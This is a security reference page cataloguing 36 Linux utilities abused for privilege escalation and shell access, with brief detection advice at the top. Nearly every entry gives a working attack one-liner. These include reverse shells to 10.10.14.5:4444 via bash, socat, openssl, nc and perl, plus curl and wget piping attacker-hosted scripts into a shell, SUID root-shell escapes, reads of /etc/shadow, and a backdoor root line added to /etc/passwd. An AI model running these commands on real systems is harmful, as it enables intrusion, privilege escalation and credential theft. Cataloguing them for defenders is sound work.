Linux Living-off-the-Land Binaries (GTFOBins)
Unix and Linux system utilities with SUID, sudo, or shell escape capabilities capable of privilege escalation.
Configure Linux auditd rules monitoring the execve system call across standard binary directories (-a always,exit -F arch=b64 -S execve). Regularly audit SUID/SGID permissions using "find / -perm -4000 -type f 2>/dev/null" and restrict NOPASSWD entries in /etc/sudoers.
/usr/bin/bin/usr/sbin/sbinlinux Living-off-the-Land Catalog
36 verified utilitiesfind
Find searches directory trees for files matching criteria. When configured with SUID permissions or sudo privileges without restrictions, its -exec flag can spawn root shells or execute arbitrary commands.
find . -name "*.conf" -exec /bin/sh -p \;curl
Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.
curl -fsSL https://attacker.c2/setup.sh | bashbash
The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1socat
Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.
socat tcp-connect:10.10.14.5:4444 exec:"bash -li",pty,stderr,setsid,sigint,sanewget
GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.
wget -q -O - http://attacker.domain/installer.sh | shpython
Python is a high-level interpreted programming language. Frequently pre-installed on Linux systems and abused by adversaries for full-fledged reverse shells, PTY spawning, local port forwarding, and script execution.
python3 -c "import pty; pty.spawn('/bin/bash')"awk
AWK is a pattern scanning and processing language. Because AWK includes built-in system() functions and file operations, SUID awk or sudo privileges can be trivially abused to break out of restricted environments and spawn shells.
awk 'BEGIN {system("/bin/sh")}'tar
GNU tar is an archiving utility. Attackers abuse tar checkpoint execution options (--checkpoint-action=exec) to spawn an interactive shell or execute arbitrary commands when running with sudo or SUID permissions.
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shbase64
Base64 encodes or decodes standard input or files to standard output. Attackers abuse it to read sensitive files without user permissions (when SUID) or decode obfuscated payload stages.
base64 /etc/shadow | base64 --decodeopenssl
OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/svim
Vim is an interactive screen text editor. When configured with SUID permissions or privileged sudo rights without command restrictions, attackers escape into a root shell via the :! command.
vim -c ':!/bin/sh'env
Env runs a program in a modified environment. When configured with the SUID bit or unrestricted sudo access, running env to launch a shell preserves elevated root EUID permissions.
env /bin/sh -ptee
Tee reads from standard input and writes to standard output and files. Attackers abuse SUID or sudo tee to append unauthorized credentials to /etc/passwd or overwrite system configuration.
echo "backdoor:x:0:0::/root:/bin/bash" | tee -a /etc/passwdnmap
Nmap is a network exploration tool and security scanner. Attackers use custom Nmap Scripting Engine (NSE) scripts to execute arbitrary root shell commands when nmap has SUID or sudo grants.
echo 'os.execute("/bin/sh")' > /tmp/payload.nse && nmap --script=/tmp/payload.nsenc
Netcat is a versatile networking tool for TCP and UDP communication. Attackers frequently use it in conjunction with FIFOs or the -e flag to establish interactive reverse command shells.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 > /tmp/fperl
Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'ruby
Ruby is an interpreted programming language. Attackers use ruby -e one-liners to execute shell breakouts, spawn interactive PTY shells, or establish network socket connections.
ruby -e 'exec "/bin/sh"'gdb
GNU Debugger (gdb) allows code inspection and execution. When granted SUID permissions or privileged sudo rights, gdb can execute arbitrary shell commands prior to loading programs.
gdb -nx -ex '!sh' -ex quitless
Less is an interactive terminal file pager. When invoked via sudo without secure mode, operators can escape to an interactive shell by issuing !/bin/sh from within the viewer.
less /etc/hostsmore
More is a terminal filter for paging text. Like less, running more on terminal outputs allows executing interactive shell escapes via !/bin/sh.
more /etc/servicessystemctl
Systemctl controls the systemd system and service manager. Sudo privileges on systemctl allow linking or creating transient unit files that execute root commands upon service start.
systemctl link /tmp/malicious.service && systemctl start maliciouscp
GNU cp copies files. When configured with SUID permissions, attackers can overwrite system authentication files like /etc/passwd or copy binaries with elevated attributes.
cp /tmp/passwd_modified /etc/passwdchmod
Chmod alters file mode bits. SUID or sudo chmod is abused to turn standard shells into persistent SUID root binaries by adding the 4755 permission bit.
chmod 4755 /bin/dashchown
Chown changes file owner and group. SUID chown allows users to claim ownership of root-owned scripts or binaries and subsequently modify them.
chown $(id -u):$(id -g) /etc/shadowdd
Dd converts and copies raw files and disks. Attackers abuse SUID dd to read raw partitions, memory dumps, or extract protected shadow files.
dd if=/etc/shadow of=/tmp/shadow.bakhead
Head outputs the beginning of files. SUID head allows unauthorized users to read the initial lines of protected files like /etc/shadow or root SSH private keys.
head -n 50 /etc/shadowtail
Tail outputs the last part of files. SUID tail allows standard users to read protected credentials, tokens, and audit log entries.
tail -n +1 /etc/shadownl
Nl numbers lines from files. SUID nl enables unauthorized reading of sensitive files.
nl -ba /etc/shadowgrep
Grep searches for patterns in text files. When given SUID permissions, grep can extract passwords, hashes, and tokens from restricted files.
grep "" /etc/shadowsed
Sed is a stream editor for filtering and transforming text. SUID sed allows reading sensitive files or modifying configuration entries.
sed -e '' /etc/shadowxargs
Xargs builds and executes command lines from standard input. SUID xargs can execute an interactive root shell retaining elevated permissions.
xargs -a /dev/null /bin/sh -pdate
Date displays or sets system date and time. SUID date can be abused with the -f parameter to read files line-by-line via error messages.
date -f /etc/shadowstrace
Strace intercepts and records system calls. When run with SUID permissions, strace executes target binaries with preserved root privileges.
strace -o /dev/null /bin/sh -ptimeout
Timeout runs a command with a time limit. SUID timeout launches child programs with preserved elevated permissions.
timeout 7d /bin/sh -pionice
Ionice sets or gets process I/O scheduling class and priority. SUID ionice launches child programs with elevated privileges.
ionice /bin/sh -pnice
Nice runs a program with modified scheduling priority. SUID nice spawns child programs retaining elevated EUID permissions.
nice /bin/sh -p